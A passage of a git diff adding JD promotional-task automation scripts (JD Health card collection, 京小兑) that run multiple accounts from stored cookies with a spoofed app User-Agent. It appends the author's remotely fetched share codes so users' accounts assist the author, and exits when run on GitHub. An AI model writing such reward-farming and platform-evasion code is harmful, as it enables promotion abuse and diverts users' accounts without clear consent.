e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jdh.js b/activity/jd_jdh.js new file mode 100644 index 0000000..72a2fbf --- /dev/null +++ b/activity/jd_jdh.js @@ -0,0 +1,433 @@ +/* +京东健康 +京东健康APP集汪汪卡瓜分百万红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东健康 +10 8 * * * jd_jdh.js, tag=京东健康, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jdh.png, enabled=true + +================Loon============== +[Script] +cron "10 8 * * *" script-path=jd_jdh.js,tag=京东健康 + +===============Surge================= +京东健康 = type=cron,cronexp="10 8 * * *",wake-system=1,timeout=3600,script-path=jd_jdh.js + +============小火箭========= +京东健康 = type=cron,script-path=jd_jdh.js, cronexpr="10 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东健康'); +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +$.newShareCodes = ['21d9b4b51a69839577027beb0aad5105', '8edbdfa148e78f028496cff17e7df35b']; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdJdh() + } + } + // 帮助作者,把作者助力码放到用户助力码之后 + await getAuthorShareCode('https://gitee.com/shylocks/updateTeam/raw/main/jd_jdh.json'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + await helpFriends() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function helpFriends(){ + for(let i = 0; i < $.newShareCodes.length; ++i){ + const res = await helpFriend($.newShareCodes[i]) + if (res['data'] && res['data']['inviteCode'] === 8){ + // 助力次数已满,跳出 + break + } + } +} +function rand(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min + 1)) + min; +} +async function jdJdh() { + await queryShareInfo() + await queryInviteHome() + $.nowCount = $.count + let t = `${new Date().getUTCFullYear()}${new Date().getUTCMonth()+1}${new Date().getUTCDate()}` + await queryTask(15,"meetingplace") // 逛义诊会场 + await queryTask(18,"2951198") // 看名医直播 + await queryTask(17,"246147") // + await queryTask(24, t) // 辟谣 + await doTask(22,42,`${new Date().getUTCFullYear()}-${new Date().getUTCMonth()+1}-${new Date().getUTCDate()}`) // 去打卡 + await queryTask(20,"362451650500001") // 测一测 + await doTask(23,40,`${rand(10000, 20000)}`) // 走路,这个可以直接提示领奖结果 + // 以下两个需要开启家庭医生才能完成 + await doTask(null,50,`${rand(10000, 20000)}`) // 家庭医生走路 + await queryTask(17,"235741") // 家庭医生资讯,这个可以不用开启直接完成 + await queryInviteHome() + await showMsg() +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + $.get({url: `${url}?${new Date()}`, + headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }}, async (err, resp, data) => { + try { + if (err) { + } else { + $.newShareCodes = $.newShareCodes.concat(JSON.parse(data)) + console.log($.newShareCodes) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryShareInfo() { + return new Promise(resolve => { + $.get(taskUrl("jdh_invite_startInvite", {"channel":"jdhapp","m_patch_appid":"jdh"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`您的分享助力码为:${data.data.shareParam}`) + $.newShareCodes.push(data.data.shareParam) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryInviteHome() { + // 首次点击30张汪汪卡 + return new Promise(resolve => { + $.get(taskUrl("jdh_invite_queryInviteHome", {"channel":"jdhapp","m_patch_appid":"jdh"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.count = data.data.ownerInfo.activityChanceCount + if(data.data.ownerInfo.firstVisitChance){ + console.log(`首次访问成功,获得 ${data.data.ownerInfo.firstVisitChance}张汪汪卡`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function helpFriend(code) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","shareParam":code} + return new Promise(resolve => { + $.get(taskUrl("jdh_invite_inviteFriends", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 0){ + console.log(`助力好友 ${code} 结果:${data.data.inviteDesc}`) + } + else console.log(`助力好友 ${code} 失败,错误信息:${data.message}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + let body = {"pageSize":15,"startFloor":1,"pageId":"c7c1fa16b8a94fbb97f6ec220488d01b"} + return new Promise(resolve => { + $.get(taskUrl("jdh_queryFloor", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + $.inviteInfo = data.data.floorDataList.filter(vo=>vo.name==="HD_Floor_Health_Month_CollectCard")[0] + console.log($.inviteInfo) + console.log(`当前助力进度:${$.inviteInfo.items[0].completeNum}/${$.inviteInfo.items[0].limitNum}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryTask(taskType,infoId) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskType":taskType,"infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_queryTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data&&data.data.length>0) + await doTask(taskType,data.data[0].id,infoId) + else + console.log(`任务已做过`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskType,taskId,infoId) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskId":taskId, "infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_doTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data.message) + // await rewardTask(taskType,taskId,infoId) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask2(taskType,taskId,infoId) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskId":taskId, "infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_doTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data.message) + // await rewardTask(taskType,taskId,infoId) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function rewardTask(taskType,taskId,infoId) { + // 会报 no access 无解 + let body = {"channel":"jdhapp","m_patch_appid":"jdh", + "taskId":taskId,"taskType":taskType,"infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_getReward", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + if (data.code ===0) { + console.log(data.data.extResult.mainTitle) + }else{ + console.log(data.data.msg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function showMsg() { + message = `获得${$.count - $.nowCount}张汪汪卡,共${$.count}张汪汪卡\n任务已做完,请手动领取奖励` + if ($.isNode() && !jdNotify) { + await notify.sendNotify(`【京东账号${$.index}】${$.nickName} `, `【${$.name}】${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://hlc.m.jd.com', + 'referer': 'https://hlc.m.jd.com/Question_Answer_Rumour/answerComplete', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=JDHAPP&clientVersion=2.1.7&body=${escape(JSON.stringify(body))}`, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://hlc.m.jd.com', + 'referer': 'https://hlc.m.jd.com/Question_Answer_Rumour/answerComplete', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jxd.js b/activity/jd_jxd.js new file mode 100644 index 0000000..13ba14a --- /dev/null +++ b/activity/jd_jxd.js @@ -0,0 +1,42 @@ +/* +京小兑 +更新时间:20201-3-13 +只要保证一天运行一次,即可参与到每天3场抽奖,切勿多次运行冲垮服务器⚠️⚠️⚠️ +号内循环互助,每天2500+兑币=20+京豆,推荐打开将抽奖码换为兑币的开关 +docker用户推荐修改默认cron,避免冲垮服务器 +活动入口:微信搜索小程序-京小兑 +更新地址:jd_jxd.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京小兑 +30 8,16,20 * * * jd_jxd.js, tag=京小兑, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jxd.png, enabled=true + +================Loon============== +[Script] +cron "35 8,16,20 * * *" script-path=jd_jxd.js, tag=京小兑 + +===============Surge================= +京小兑 = type=cron,cronexp="40 8,16,20 * * *",wake-system=1,timeout=3600,script-path=jd_jxd.js + +============小火箭========= +京小兑 = type=cron,script-path=jd_jxd.js, cronexpr="45 8,16,20 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京小兑'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 